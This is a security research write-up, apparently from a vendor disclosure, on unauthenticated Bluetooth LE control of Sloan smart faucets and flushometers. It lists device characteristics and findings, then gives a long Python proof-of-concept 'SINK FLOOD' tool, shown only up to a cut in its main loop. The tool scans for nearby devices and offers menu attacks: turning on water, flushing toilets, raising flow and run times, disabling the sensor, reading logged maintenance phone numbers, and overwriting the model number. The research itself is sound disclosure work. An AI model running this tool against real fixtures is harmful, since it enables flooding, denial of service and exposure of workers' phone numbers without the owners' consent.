
Since this is implemented in the app, I’ll bet the faucet has a much wider range. Of course, flow rate is governed by whatever the line in can support (I’m not a plumber). Flow rate is governed by d0aba888-fb10–4dc9–9b17-bdd8f490c949 characteristic.

Flow Rate Value

It seems floats are written to the characteristic as two characters, in this case, 1 and 9 (1.9), which is one of the liters per minute (LPM) options. Let’s see what we can set it to.

So, we can’t set it to a 3 byte value, but we can set it to 0x3939 (9.9), and that seems to be the highest value to have any effect. Of note, we can also set it to even higher values like 0xFF39, and while that doesn’t seem to do anything, it still feels like a value that shouldn’t be allowed by logic on the device. Since I don’t have the faucet hooked up, I can’t test what happens when we set the flow rate really high (again, not a plumber). When it’s set to FF39, the app tries to display it as 0.0. And, we can set it to 9.9 via the app. So, Unless we plug this thing into a water line, we’re not gonna know what happens with the FF39.

Activation Mode

“Activation Mode” controls how long water flows for when the IR sensor is triggered. We can set it up to 120 seconds via the app. We’re all washing our hands a lot longer during covid, but I know I can sing happy birthday to myself 2 or three times and still be under that 2 minute mark. Can we set it higher and cause the faucet to flow for a really long time?

There are two types of Activation Mode: Metered and On Demand. What’s the difference between them? Surely the internet will tell me.

A Google Play Store comment indicating confusion on Metered and On Demand flow rate

Nope, no luck there. There are a few variable definitions that may give us a clue. Could that On Demand value be a mistake, off by an order of magnitude?

public final class ActivationModeFragmentKt {
    private static final int METERED_MAX_VALUE = 120;
    public static final int METERED_MODE = 1;
    private static final int MIN_VALUE = 3;
    private static final int ON_DEMAND_MAX_VALUE = 1200;
    public static final int ON_DEMAND_MODE = 0;
}

Unfortunately those safeguards don’t seem to be set anywhere else. Let’s see if we can find the code that controls this. Two different characteristics control the run times for the different modes.

public static final String UUID_CHARACTERISTIC_FAUCET_BD_SETTINGS_CONFIG_MAXIMUM_ON_DEMAND_RUN_TIME = “d0aba888-fb10–4dc9–9b17-bdd8f490c945”;
public static final String UUID_CHARACTERISTIC_FAUCET_BD_SETTINGS_CONFIG_METERED_RUN_TIME = “d0aba888-fb10–4dc9–9b17-bdd8f490c944”;
public static final String UUID_CHARACTERISTIC_FAUCET_BD_SETTINGS_CONFIG_MODE_SELECTION = “d0aba888-fb10–4dc9–9b17-bdd8f490c943”;
Flow Rate characteristics and values

And we can see how these are set on the device. I’m going to go ahead and assume that everything on this device is written as ascii. So, Mode is set to 0x30 == “0”, which we can see is ON_DEMAND_MODE. And then the Metered Run Time is set to 120 seconds, and On Demand is set to 30 seconds. Cool. Let’s see how high we can go. This is going to be painful, waiting for many minutes for this thing to turn back off.

The On Demand characteristic set to 1130 seconds

Ok, we’ve set the On Demand time to 1130 seconds, so, about 18 minutes. I wave my hand in front of the faucet’s IR sensor, and grab a cup of coffee. This is gonna take a while…. That didn’t work. It shut off quickly. There must be some internal idea of how long is too long. I’ll flip the mode to metered and set that pretty high. Seems metered won’t take more than 3 bytes, so I’ll set the first one to 9 for 920 seconds, or ~15 minutes. And then I’ll wait.

Metered Mode set to 920 seconds

It’s still going. There’s gotta be a better way to test. Currently, I wave my hand in front of the sensor once to engage the faucet, and then try periodically over the timer duration. It won’t make the click of engagement until the time is up. So, the next time I can wave my hand in front of the sensor and hear a click, I know the faucet’s timer has ended. This won’t be incredibly accurate or scientific. I set a 14 min timer and walked away. Annnnd somehow I walked right back in at the 15 minute mark and heard it click off. So, the highest value we can likely set for Metered mode is 999, which is 16.65 minutes. That’s a long time to leave the tap on. I wonder who would want to do something like that…

Wet Bandits — Be on the lookout — These criminals are armed and clumsy

DoS

In addition to causing a flood, we can trigger the opposite effect. It’s possible to disable the faucet’s sensor completely by setting the Sensor Range to 0. Now, the faucet won’t turn on no matter how close our hand gets or how vigorously we wave. In this case, we can simply send an 0x30 to UUID_CHARACTERISTIC_FAUCET_BD_SETTINGS_CONFIG_SENSOR_RANGE.

Model and Version

It’s also possible to read the model and version number via these characteristics. Nothing super exciting here, but could be useful if we were trying to find a specific version. Most BLE enabled devices will expose these via the “Device Information” service. These are separate from that and something Sloan must have thought necessary.

Firmware & Hardware
public static final String UUID_CHARACTERISTIC_FAUCET_AD_BD_INFO_AD_FIRMWARE_VERSION = “d0aba888-fb10–4dc9–9b17-bdd8f490c906”;
public static final String UUID_CHARACTERISTIC_FAUCET_AD_BD_INFO_AD_HARDWARE_VERSION = “d0aba888-fb10–4dc9–9b17-bdd8f490c905”;

Firmware: 0109

Hardware: 0175

Logged Phone Numbers

The “security” mode of the faucet logs the phone number stored in the app for certain events.

public static final String UUID_CHARACTERISTIC_FAUCET_BD_CHANGED_SETTING_LOG_PHONE_OF_BD_NOTE_CHANGE = “d0aba888-fb10–4dc9–9b17-bdd8f490c932”;
public static final String UUID_CHARACTERISTIC_FAUCET_BD_CHANGED_SETTING_LOG_PHONE_OF_FLUSH_INTERVAL_CHANGE = “d0aba888-fb10–4dc9–9b17-bdd8f490c930”;
public static final String UUID_CHARACTERISTIC_FAUCET_BD_CHANGED_SETTING_LOG_PHONE_OF_FLUSH_ON_OFF_CHANGE = “d0aba888-fb10–4dc9–9b17-bdd8f490c92e”;
public static final String UUID_CHARACTERISTIC_FAUCET_BD_CHANGED_SETTING_LOG_PHONE_OF_FLUSH_TIME_CHANGE = “d0aba888-fb10–4dc9–9b17-bdd8f490c92f”;
public static final String UUID_CHARACTERISTIC_FAUCET_BD_CHANGED_SETTING_LOG_PHONE_OF_LAST_FACTORY_RESET = “d0aba888-fb10–4dc9–9b17-bdd8f490c929”;
public static final String UUID_CHARACTERISTIC_FAUCET_BD_CHANGED_SETTING_LOG_PHONE_OF_LAST_OD_OR_M_CHANGE = “d0aba888-fb10–4dc9–9b17-bdd8f490c92b”;
public static final String UUID_CHARACTERISTIC_FAUCET_BD_CHANGED_SETTING_LOG_PHONE_OF_LAST_RANGE_CHANGE = “d0aba888-fb10–4dc9–9b17-bdd8f490c92a”;
public static final String UUID_CHARACTERISTIC_FAUCET_BD_CHANGED_SETTING_LOG_PHONE_OF_METER_RUNTIME_CHANGE = “d0aba888-fb10–4dc9–9b17-bdd8f490c92c”;
public static final String UUID_CHARACTERISTIC_FAUCET_BD_CHANGED_SETTING_LOG_PHONE_OF_OD_RUNTIME_CHANGE = “d0aba888-fb10–4dc9–9b17-bdd8f490c92d”;
Phone numbers stored on faucet

I’ve conveniently set these to the Tenable support number 855–267–7044. In a real setup, this would be the phone number registered in the app that performed each specific task update. I attempted to see how wide the field was, and got up to 15 characters before it wouldn’t take any more.

It doesn’t seem like the app is parsing anything in the text fields, so no XSS that I can find.

The other interesting thing here is that any time someone makes a change to the faucet, the app causes their phone number to be stored on the faucet. This is then reflected back to any app that connects OR anyone that reads the characteristic. This isn’t mentioned in the app and I don’t see a privacy policy. Does GDPR apply to bathroom fixtures?

Aquis Dongle

What is Aquis? I don’t know. But there are several characteristics in the app for an Aquis Dongle. Could this be a new product line? A partnership with another company that this app will work with?

public static final String UUID_CHARACTERISTIC_FAUCET_AD_BD_INFO_AQUIS_DONGLE_FIRMWARE_VERSION = “d0aba888-fb10–4dc9–9b17-bdd8f490c90e”;
public static final String UUID_CHARACTERISTIC_FAUCET_AD_BD_INFO_AQUIS_DONGLE_HARDWARE_VERSION = “d0aba888-fb10–4dc9–9b17-bdd8f490c90d”;
public static final String UUID_CHARACTERISTIC_FAUCET_AD_BD_INFO_AQUIS_DONGLE_MANUFACTURING_DATE = “d0aba888-fb10–4dc9–9b17-bdd8f490c90c”;
public static final String UUID_CHARACTERISTIC_FAUCET_AD_BD_INFO_AQUIS_DONGLE_SERIAL = “d0aba888-fb10–4dc9–9b17-bdd8f490c90b”;
public static final String UUID_CHARACTERISTIC_FAUCET_AD_BD_INFO_AQUIS_DONGLE_SKU = “d0aba888-fb10–4dc9–9b17-bdd8f490c90F”;

There does seem to be a company called Aquis that offers connected faucets. Perhaps they’re one of Sloan’s partners or produced the tech for Sloan.

Aquis Multifunctional Faucet feature sheet

That ‘optional service APP’ sounds just like what we’re looking at.

OTA Firmware Update

The service UUID 1d14d6ee-fd63–4fa1-bfa4–8f47b42119f0 maps to the variable name UUID_SERVICE_OTA in our variable definitions file. Indeed, a quick search reveals this to be Silicon Labs OTA service, giving us insight, also, into the chipset used here. We’ll have to dig into this.

OTA means “Over-The-Air” and is the method to write firmware to various BLE chipsets. As far as I can tell, the different major chipset manufacturers each have their own OTA spec, and they are not interoperable even if they’re called the same thing. Therefore it can be helpful to have chipset specific tools to manipulate OTA. There are often various levels of security that can be added by the developer, including checking firmware signatures or not.

Silicon Labs Gecko bootloader has 3 optional settings for secure firmware update:

  • Require signed firmware upgrade files.
  • Require encrypted firmware upgrade files.
  • Enable secure boot.

Silicon Labs defines these as:

  • Secure Boot refers to the verification of the authenticity of the application image in main flash on every boot of the device.
  • Secure Firmware Upgrade refers to the verification of the authenticity of an upgrade image before performing a bootload, and optionally enforcing that upgrade images are encrypted.

If none of those are selected by the developer, it’s possible to write any firmware to the device. As the faucet was quite expensive, I did not test firmware update and am merely pointing out that it’s exposed.

Using one of the SILabs android apps, we can quickly see that it’s possible to do an OTA firmware update. No telling what the firmware in place is checking for. I don’t want to break this thing yet.

I also grepped through the android apk but don’t see anything that references the three OTA variable names. I guess they’ll implement updates in the future. This makes me think that the OTA feature uses stock code from the SDK.

Hardware — BLE Adapters

These vulns should be exploitable via any BLE adapter, but since hardware can be finicky, the specific adapters I tested with are:

Cyberkinetic Effects or Why should I even care

Sure, turning on the water might not be the next million dollar ransomware campaign, and flushing the toilets remotely seems like a great prank, but not much more. Still, there can be real interesting effects. First off, these faucets aren’t usually for home use, but installed in office buildings, in groups. Turning on all of the faucets repeatedly or flushing all of the toilets could possibly cause a flooding condition. Move over SYN flood, this is a sink flood.

But these devices aren’t networked! They have no IP! They’re limited by range! These are great points. However, the faucet likely has a 30 foot BLE range. This is well within range of some miscreant standing at their local donut shop near the office. A neighboring unit in a condo or apartment building would also be well within range. Also, most laptops and desktops include bluetooth adapters, so any malware infection is a potential vector. I always like to point out that a BLE device is only a hop away from any modern laptop.

Findings

Enable Water Dispense > Kinetic Effect, Change Flow Rate > Kinetic Effect, Change Activation Mode / Time > Kinetic Effect / DoS, Change Sensor Range to 0 > DoS, Maintenance Person Cell Phone Number Modification and Disclosure > Information Leakage, Enable Toilet Flush > Kinetic Effect, Model Number is writable > Modification of Assumed Immutable Data

PoC || GTFlow

Here’s a quick proof of concept in case you’ve got an unpatched faucet or flushometer lying around. As of this posting, Sloan has not responded to our disclosure emails and to our knowledge has not released an update.

from bluepy.btle import Scanner, DefaultDelegate, Peripheral, UUID, BTLEDisconnectError, BTLEGattError, BTLEManagementError, BTLEInternalError
SCAN_TIMEOUT = 2.0
DEBUG = 0
UUID_CHARACTERISTIC_FAUCET_BD_FAUCET_DIAGNOSTIC_WATER_DISPENSE = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c965")
UUID_CHARACTERISTIC_FAUCET_BD_SETTINGS_CONFIG_FLOW_RATE = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c949")
UUID_CHARACTERISTIC_FAUCET_BD_SETTINGS_CONFIG_MAXIMUM_ON_DEMAND_RUN_TIME = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c945");
UUID_CHARACTERISTIC_FAUCET_BD_SETTINGS_CONFIG_METERED_RUN_TIME = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c944");
UUID_CHARACTERISTIC_FAUCET_BD_SETTINGS_CONFIG_MODE_SELECTION = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c943");
UUID_CHARACTERISTIC_FAUCET_BD_SETTINGS_CONFIG_SENSOR_RANGE = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c942");
UUID_CHARACTERISTIC_FAUCET_AD_BD_INFO_AD_FIRMWARE_VERSION = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c906");
UUID_CHARACTERISTIC_FAUCET_AD_BD_INFO_AD_HARDWARE_VERSION = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c905");
UUID_CHARACTERISTIC_FAUCET_BD_DEVICE_INFO_MODEL_NUMBER = UUID("00002a24-0000-1000-8000-00805f9b34fb");
UUID_CHARACTERISTIC_FAUCET_BD_CHANGED_SETTING_LOG_PHONE_OF_BD_NOTE_CHANGE = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c932");
UUID_CHARACTERISTIC_FAUCET_BD_CHANGED_SETTING_LOG_PHONE_OF_FLUSH_INTERVAL_CHANGE = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c930");
UUID_CHARACTERISTIC_FAUCET_BD_CHANGED_SETTING_LOG_PHONE_OF_FLUSH_ON_OFF_CHANGE = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c92e");
UUID_CHARACTERISTIC_FAUCET_BD_CHANGED_SETTING_LOG_PHONE_OF_FLUSH_TIME_CHANGE = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c92f");
UUID_CHARACTERISTIC_FAUCET_BD_CHANGED_SETTING_LOG_PHONE_OF_LAST_FACTORY_RESET = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c929");
UUID_CHARACTERISTIC_FAUCET_BD_CHANGED_SETTING_LOG_PHONE_OF_LAST_OD_OR_M_CHANGE = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c92b");
UUID_CHARACTERISTIC_FAUCET_BD_CHANGED_SETTING_LOG_PHONE_OF_LAST_RANGE_CHANGE = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c92a");
UUID_CHARACTERISTIC_FAUCET_BD_CHANGED_SETTING_LOG_PHONE_OF_METER_RUNTIME_CHANGE = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c92c");
UUID_CHARACTERISTIC_FAUCET_BD_CHANGED_SETTING_LOG_PHONE_OF_OD_RUNTIME_CHANGE = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c92d");
UUID_CHARACTERISTIC_FLUSHER_CHANGED_SETTING_LOG_PHONE_OF_FLUSHER_NOTE_CHANGE = UUID("f89f13e7-83f8-4b7c-9e8b-364576d88338");
UUID_CHARACTERISTIC_FLUSHER_CHANGED_SETTING_LOG_PHONE_OF_LAST_ACTIVATION_TIME_CHANGE = UUID("f89f13e7-83f8-4b7c-9e8b-364576d88337");
UUID_CHARACTERISTIC_FLUSHER_CHANGED_SETTING_LOG_PHONE_OF_LAST_DIAGNOSTIC = UUID("f89f13e7-83f8-4b7c-9e8b-364576d88335");
UUID_CHARACTERISTIC_FLUSHER_CHANGED_SETTING_LOG_PHONE_OF_LAST_FACTORY_RESET = UUID("f89f13e7-83f8-4b7c-9e8b-364576d88331");
UUID_CHARACTERISTIC_FLUSHER_CHANGED_SETTING_LOG_PHONE_OF_LAST_FIRMWARE_UPDATE = UUID("f89f13e7-83f8-4b7c-9e8b-364576d88336");
UUID_CHARACTERISTIC_FLUSHER_CHANGED_SETTING_LOG_PHONE_OF_LAST_FLUSH_VOLUME_CHANGE = UUID("f89f13e7-83f8-4b7c-9e8b-364576d88334");
UUID_CHARACTERISTIC_FLUSHER_CHANGED_SETTING_LOG_PHONE_OF_LAST_LINE_SENTINAL_FLUSH_CHANGE = UUID("f89f13e7-83f8-4b7c-9e8b-364576d88333");
UUID_CHARACTERISTIC_FLUSHER_CHANGED_SETTING_LOG_PHONE_OF_LAST_RANGE_CHANGE = UUID("f89f13e7-83f8-4b7c-9e8b-364576d88332");
UUID_CHARACTERISTIC_FAUCET_AD_BD_INFO_AQUIS_DONGLE_FIRMWARE_VERSION = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c90e");
UUID_CHARACTERISTIC_FAUCET_AD_BD_INFO_AQUIS_DONGLE_HARDWARE_VERSION = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c90d");
UUID_CHARACTERISTIC_FAUCET_AD_BD_INFO_AQUIS_DONGLE_MANUFACTURING_DATE = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c90c");
UUID_CHARACTERISTIC_FAUCET_AD_BD_INFO_AQUIS_DONGLE_SERIAL = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c90b");
UUID_CHARACTERISTIC_FAUCET_AD_BD_INFO_AQUIS_DONGLE_SKU = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c90F");
AQUIS_UUIDS = (
UUID_CHARACTERISTIC_FAUCET_AD_BD_INFO_AQUIS_DONGLE_FIRMWARE_VERSION,
UUID_CHARACTERISTIC_FAUCET_AD_BD_INFO_AQUIS_DONGLE_HARDWARE_VERSION,
UUID_CHARACTERISTIC_FAUCET_AD_BD_INFO_AQUIS_DONGLE_MANUFACTURING_DATE,
UUID_CHARACTERISTIC_FAUCET_AD_BD_INFO_AQUIS_DONGLE_SERIAL,
UUID_CHARACTERISTIC_FAUCET_AD_BD_INFO_AQUIS_DONGLE_SKU
)
UUID_CHARACTERISTIC_APP_IDENTIFICATION_LOCK_STATUS = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c953");
UUID_CHARACTERISTIC_APP_IDENTIFICATION_PASS_CODE = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c954");
UUID_CHARACTERISTIC_APP_IDENTIFICATION_TIMESTAMP = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c951");
UUID_CHARACTERISTIC_APP_IDENTIFICATION_UNLOCK_KEY = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c952");
LOCK_INFO = (
UUID_CHARACTERISTIC_APP_IDENTIFICATION_LOCK_STATUS,
UUID_CHARACTERISTIC_APP_IDENTIFICATION_PASS_CODE,
UUID_CHARACTERISTIC_APP_IDENTIFICATION_TIMESTAMP,
UUID_CHARACTERISTIC_APP_IDENTIFICATION_UNLOCK_KEY,
)
FAUCET_PHONE_UUIDS = (
UUID_CHARACTERISTIC_FAUCET_BD_CHANGED_SETTING_LOG_PHONE_OF_BD_NOTE_CHANGE,
UUID_CHARACTERISTIC_FAUCET_BD_CHANGED_SETTING_LOG_PHONE_OF_FLUSH_INTERVAL_CHANGE,
UUID_CHARACTERISTIC_FAUCET_BD_CHANGED_SETTING_LOG_PHONE_OF_FLUSH_ON_OFF_CHANGE,
UUID_CHARACTERISTIC_FAUCET_BD_CHANGED_SETTING_LOG_PHONE_OF_FLUSH_TIME_CHANGE,
UUID_CHARACTERISTIC_FAUCET_BD_CHANGED_SETTING_LOG_PHONE_OF_LAST_FACTORY_RESET,
UUID_CHARACTERISTIC_FAUCET_BD_CHANGED_SETTING_LOG_PHONE_OF_LAST_OD_OR_M_CHANGE,
UUID_CHARACTERISTIC_FAUCET_BD_CHANGED_SETTING_LOG_PHONE_OF_LAST_RANGE_CHANGE,
UUID_CHARACTERISTIC_FAUCET_BD_CHANGED_SETTING_LOG_PHONE_OF_METER_RUNTIME_CHANGE,
UUID_CHARACTERISTIC_FAUCET_BD_CHANGED_SETTING_LOG_PHONE_OF_OD_RUNTIME_CHANGE,
UUID_CHARACTERISTIC_FLUSHER_CHANGED_SETTING_LOG_PHONE_OF_FLUSHER_NOTE_CHANGE,
UUID_CHARACTERISTIC_FLUSHER_CHANGED_SETTING_LOG_PHONE_OF_LAST_ACTIVATION_TIME_CHANGE,
UUID_CHARACTERISTIC_FLUSHER_CHANGED_SETTING_LOG_PHONE_OF_LAST_DIAGNOSTIC,
UUID_CHARACTERISTIC_FLUSHER_CHANGED_SETTING_LOG_PHONE_OF_LAST_FACTORY_RESET,
UUID_CHARACTERISTIC_FLUSHER_CHANGED_SETTING_LOG_PHONE_OF_LAST_FIRMWARE_UPDATE,
UUID_CHARACTERISTIC_FLUSHER_CHANGED_SETTING_LOG_PHONE_OF_LAST_FLUSH_VOLUME_CHANGE,
UUID_CHARACTERISTIC_FLUSHER_CHANGED_SETTING_LOG_PHONE_OF_LAST_LINE_SENTINAL_FLUSH_CHANGE,
UUID_CHARACTERISTIC_FLUSHER_CHANGED_SETTING_LOG_PHONE_OF_LAST_RANGE_CHANGE,

)
UUID_CHARACTERISTIC_OTA_CONTROL = UUID("f7bf3564-fb6d-4e53-88a4-5e37e0326063");
UUID_CHARACTERISTIC_OTA_DATA_TRANSFER = UUID("984227f3-34fc-4045-a5d0-2c581f81a153");
OTA = (
UUID_CHARACTERISTIC_OTA_CONTROL,
UUID_CHARACTERISTIC_OTA_DATA_TRANSFER,
)
UUID_CHARACTERISTIC_FAUCET_BD_SETTINGS_CONFIG_BD_NOTE_1 = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c94a");
UUID_CHARACTERISTIC_FAUCET_BD_SETTINGS_CONFIG_BD_NOTE_2 = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c94b");
UUID_CHARACTERISTIC_FAUCET_BD_SETTINGS_CONFIG_BD_NOTE_3 = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c94c");
UUID_CHARACTERISTIC_FAUCET_BD_SETTINGS_CONFIG_BD_NOTE_4 = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c94d");
NOTES = (
UUID_CHARACTERISTIC_FAUCET_BD_SETTINGS_CONFIG_BD_NOTE_1,
UUID_CHARACTERISTIC_FAUCET_BD_SETTINGS_CONFIG_BD_NOTE_2,
UUID_CHARACTERISTIC_FAUCET_BD_SETTINGS_CONFIG_BD_NOTE_3,
UUID_CHARACTERISTIC_FAUCET_BD_SETTINGS_CONFIG_BD_NOTE_4,
)
UUID_CHARACTERISTIC_FAUCET_DIAGNOSTIC_COMMUNICATION_STATUS = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c969");
UUID_CHARACTERISTIC_FAUCET_DIAGNOSTIC_SOLAR_STATUS = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c968");
UUID_CHARACTERISTIC_FAUCET_BD_FAUCET_DIAGNOSTIC_BATTERY_LEVEL_AT_DIAGNOSTIC = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c966");
UUID_CHARACTERISTIC_FAUCET_BD_FAUCET_DIAGNOSTIC_DATE_OF_DIAGNOSTIC = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c967");
UUID_CHARACTERISTIC_FAUCET_BD_FAUCET_DIAGNOSTIC_INIT = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c961");
UUID_CHARACTERISTIC_FAUCET_BD_FAUCET_DIAGNOSTIC_SENSOR_RESULT = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c962");
UUID_CHARACTERISTIC_FAUCET_BD_FAUCET_DIAGNOSTIC_TURBINE_RESULT = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c964");
UUID_CHARACTERISTIC_FAUCET_BD_FAUCET_DIAGNOSTIC_VALVE_RESULT = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c963");
DIAG = (
UUID_CHARACTERISTIC_FAUCET_BD_FAUCET_DIAGNOSTIC_BATTERY_LEVEL_AT_DIAGNOSTIC,
UUID_CHARACTERISTIC_FAUCET_BD_FAUCET_DIAGNOSTIC_DATE_OF_DIAGNOSTIC,
UUID_CHARACTERISTIC_FAUCET_BD_FAUCET_DIAGNOSTIC_INIT,
UUID_CHARACTERISTIC_FAUCET_BD_FAUCET_DIAGNOSTIC_SENSOR_RESULT,
UUID_CHARACTERISTIC_FAUCET_BD_FAUCET_DIAGNOSTIC_TURBINE_RESULT,
UUID_CHARACTERISTIC_FAUCET_BD_FAUCET_DIAGNOSTIC_VALVE_RESULT,
UUID_CHARACTERISTIC_FAUCET_DIAGNOSTIC_COMMUNICATION_STATUS,
UUID_CHARACTERISTIC_FAUCET_DIAGNOSTIC_SOLAR_STATUS,
)
UUID_CHARACTERISTIC_FLUSHER_DIAGNOSIS_ACTIVATE_VALVE_ONCE = UUID("f89f13e7-83f8-4b7c-9e8b-364576d88361");
UUID_CHARACTERISTIC_FAUCET_BD_PRODUCTION_MODE_PRODUCTION_ENABLE = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c971");
UUID_CHARACTERISTIC_FAUCET_BD_PRODUCTION_MODE_ADAPTIVE_SENSING_ENABLE = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c978");
UUID_CHARACTERISTIC_BATTERY_LEVEL = UUID("00002a19-0000-1000-8000-00805f9b34fb");
UUID_CHARACTERISTIC_FAUCET_BD_BATTERY_LEVEL = UUID("00002a19-0000-1000-8000-00805f9b34fb");
UUID_CHARACTERISTIC_FAUCET_BD_FAUCET_DIAGNOSTIC_BATTERY_LEVEL_AT_DIAGNOSTIC = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c966");
UUID_CHARACTERISTIC_FLUSHER_DIAGNOSIS_BATTERY_LEVEL_AT_DIAGNOSTIC = UUID("f89f13e7-83f8-4b7c-9e8b-364576d88364");
BATTERY_INFO = (
UUID_CHARACTERISTIC_BATTERY_LEVEL,
UUID_CHARACTERISTIC_FAUCET_BD_BATTERY_LEVEL,
UUID_CHARACTERISTIC_FAUCET_BD_FAUCET_DIAGNOSTIC_BATTERY_LEVEL_AT_DIAGNOSTIC,
UUID_CHARACTERISTIC_FLUSHER_DIAGNOSIS_BATTERY_LEVEL_AT_DIAGNOSTIC,
)
ATTACKS_DICT = {
"0": ("Dispense Water", UUID_CHARACTERISTIC_FAUCET_BD_FAUCET_DIAGNOSTIC_WATER_DISPENSE, "Enter a 1 to begin Dispensing water: "),
"1": ("Flush Toilet", UUID_CHARACTERISTIC_FLUSHER_DIAGNOSIS_ACTIVATE_VALVE_ONCE, "Enter a 1 to begin flushing diagnostic: "),
"2": ("Change Faucet Flow Rate", UUID_CHARACTERISTIC_FAUCET_BD_SETTINGS_CONFIG_FLOW_RATE, "Enter two digits together, they'll be a float (11 will be 1.1lpm): "),
"3": ("Change Faucet Activation Mode", UUID_CHARACTERISTIC_FAUCET_BD_SETTINGS_CONFIG_MODE_SELECTION, "Enter a 0 (ondemand) or a 1 (metered) to change the activation mode.: "),
"4": ("Change Faucet OnDemand Run Time", UUID_CHARACTERISTIC_FAUCET_BD_SETTINGS_CONFIG_MAXIMUM_ON_DEMAND_RUN_TIME, "Enter 2 digits (10 = 10 seconds): "),
"5": ("Change Faucet Metered Run Time", UUID_CHARACTERISTIC_FAUCET_BD_SETTINGS_CONFIG_METERED_RUN_TIME, "Enter 3 digits (120 = 120 seconds): "),
"6": ("Change Sensor Range", UUID_CHARACTERISTIC_FAUCET_BD_SETTINGS_CONFIG_SENSOR_RANGE, "Enter 1 digit (0 to disable sensor): "),
"7": ("Read Maintenance Personnel Info", FAUCET_PHONE_UUIDS, "N/A"),
"8": ("Change Model Number", UUID_CHARACTERISTIC_FAUCET_BD_DEVICE_INFO_MODEL_NUMBER, "Enter a new model number: "),
"9": ("OTA (doesn't write)", OTA, "N/A"),
"10": ("Read HW", UUID_CHARACTERISTIC_FAUCET_AD_BD_INFO_AD_HARDWARE_VERSION, "N/A"),
"11": ("Read FW", UUID_CHARACTERISTIC_FAUCET_AD_BD_INFO_AD_FIRMWARE_VERSION, "N/A"),
"12": ("Read AQUIS Info", AQUIS_UUIDS, "N/A"),
"13": ("Read Locking Information", LOCK_INFO, "N/A"),
"14": ("Read Diagnostic Info", DIAG, "N/A"),
"15": ("Read NOTES", NOTES, "N/A"),
"16": ("Write NOTES", NOTES, "Enter something to write to the 4 notes fields:"),
"17": ("Production Enable", UUID_CHARACTERISTIC_FAUCET_BD_PRODUCTION_MODE_PRODUCTION_ENABLE, "Write something to production enable: "),
"18": ("Adaptive Sensing Enable (gain/sensitivity changes not implemented)", UUID_CHARACTERISTIC_FAUCET_BD_PRODUCTION_MODE_ADAPTIVE_SENSING_ENABLE, "Write to Adaptive Sensing Enable: "),
"19": ("Read Battery Info", BATTERY_INFO, "N/A"),
}
class ScanDelegate(DefaultDelegate):
def __init__(self):
DefaultDelegate.__init__(self)
#def handleDiscovery(self, dev):
#if dev
def convert_num_for_writing(text):
if len(text) > 4:
return text.encode()
output = b''
#for letter in text:
# output = output + str(hex(ord(letter)))[2:4].encode()
output = text.encode()
return output
def run_sink_flood(attack, target, p):
attack_name = attack[0]
uuid = attack[1]
text = attack[2]
target_name = target["name"]
if type(uuid) == UUID:
char = p.getCharacteristics(uuid=uuid)
if char[0].supportsRead() and attack_name != "Dispense Water":
val = char[0].read()
print(f"[ >] {target_name} responds with current value: {val}")
if not text == "N/A":
sendme = input(text)
sendme = convert_num_for_writing(sendme)
char[0].write(sendme, withResponse=True)
else:
for i in uuid:
try:
char = p.getCharacteristics(uuid=i)
if char[0].supportsRead():
val = char[0].read()
print(f"[ >] {target_name} responds with current value: {val}")
if not text == "N/A":
sendme = input(text)
sendme = convert_num_for_writing(sendme)
char[0].write(sendme, withResponse=True)
except BTLEGattError:
pass
def menu_pick_attack(target):
for attack in ATTACKS_DICT.keys():
print(f"[{attack}] {ATTACKS_DICT[attack][0]}")
selection = input("Enter a #: ")
return ATTACKS_DICT[selection]
def menu_pick_device(devices):
menu = {}
i = 1
target = None
for dev in devices:
for (adtype, desc, value) in dev.getScanData():
if desc == "Complete Local Name":
if type(value) == str and "FAUCET" in value:
menu["%s" % i] = {"name": value,"dev": dev}
i += 1
options = menu.keys()
if not options:
return None
sorted(options)
for entry in options:
print(f"[{entry}] {menu[entry]['dev'].addr} {menu[entry]['name']} ")
selection = input("Enter a device #: ")
if selection in menu.keys():
target = menu[selection]
return target
def lescan():
scanner = Scanner(1).withDelegate(ScanDelegate())
try:
print(f"[*] scanning for {SCAN_TIMEOUT}")
devices = scanner.scan(SCAN_TIMEOUT)
except BTLEManagementError:
print("[*] Permission to use HCI unavailable, rerun with sudo or as root.")
return
return devices
def main():
print("[*] starting SINK FLOOD Sloan SmartFaucet and SmartFlushometer tool")
while True:
found_devices = lescan()
if found_devices:
target = menu_pick_device(found_devices)
if not target:
continue
p = Peripheral(target['dev'].addr)
#p = Peripheral('08:6b:d7:20:9d:4b')
while target:
attack = menu_pick_attack(target)
